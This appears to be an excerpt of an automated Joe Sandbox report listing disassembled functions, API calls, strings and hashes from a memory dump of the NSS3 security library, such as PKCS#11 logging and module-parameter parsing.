winGetTempname5, xrefs: 6C727071

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

*pulWrappedKeyLen = 0x%x, xrefs: 6C689042
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
pWrappedKey = 0x%p, xrefs: 6C688FAD
hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
pMechanism = 0x%p, xrefs: 6C688EE0
hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
C_WrapKey, xrefs: 6C688E71
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79
pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
nvl, xrefs: 6C688FEC, 6C689023

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

nss=, xrefs: 6C6B5083
name=, xrefs: 6C6B5057
config=, xrefs: 6C6B509B
parameters=, xrefs: 6C6B506B
library=, xrefs: 6C6B5043

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

ootT, xrefs: 6C6B4D1A
timeout, xrefs: 6C6B4C91
%s,%s, xrefs: 6C6B4C4B
rootFlags, xrefs: 6C6B4D47
every, xrefs: 6C6B4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
0x%08lx=[%s %s], xrefs: 6C6B4D80
any, xrefs: 6C6B4C96
rust, xrefs: 6C6B4D22
slotFlags, xrefs: 6C6B4D34

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C65DEFA
{???}, xrefs: 6C65DE8B
%s%s, xrefs: 6C65DEEB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C68AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C68AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AF83

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C68AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C68AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C68AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C68B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C68B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C68B041

Strings

ulDataLen = %d, xrefs: 6C68B00A
pulSignatureLen = 0x%p, xrefs: 6C68B03C
ulParameterLen = 0x%p, xrefs: 6C68AFD4
pData = 0x%p, xrefs: 6C68AFEF
hSession = 0x%x, xrefs: 6C68AF5E, 6C68AF6E
C_SignMessage, xrefs: 6C68AF41
(CK_INVALID_HANDLE), xrefs: 6C68AF7C
pSignature = 0x%p, xrefs: 6C68B023
nvl, xrefs: 6C68B059, 6C68B093
pParameter = 0x%p, xrefs: 6C68AFB9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nvl
API String ID: 1003633598-1382018852
Opcode ID: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction ID: bf35ad67a149e4df1a710817b9f3a493dcd075271e7e57e7f7bdb1c540d77e1c
Opcode Fuzzy Hash: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction Fuzzy Hash: 7141A575602148AFDB109F55DE4CE8A7BB2AB4630DF084034F9086BA51DB309958CBBE

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
